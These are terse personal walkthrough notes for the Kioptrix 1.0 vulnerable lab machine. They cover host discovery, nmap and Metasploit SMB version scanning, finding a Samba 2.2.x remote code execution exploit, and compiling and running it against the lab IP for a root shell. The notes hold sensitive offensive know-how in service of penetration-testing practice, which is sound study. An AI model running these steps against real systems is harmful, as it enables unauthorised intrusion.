Kioptrix1.0

RECON

Discovery

netdiscover -i eth1

192.168.57.1, 192.168.57.5 have open ports

Nmap Scan

namp -sC -sV -A 192.168.57.5

-safescan -version -OS detection
Port 139 running Samba

Version Scan

msfconsole

use auxiliary/scanner/smb/smb-version

Samba Version 2.2.1

Google-Fu

samba 2.2.1a exploit

2.2.8 RCE

ENUMURATION

Save Exploit

Make executable copy

gcc 10.c -o 10

GNU compiler outputs copy to executable file

Root Escalation

Shell

./10 -b 0 192.168.57.5

-Bruteforce linux

Root Flag

head -n 100 /var/spool/mail/root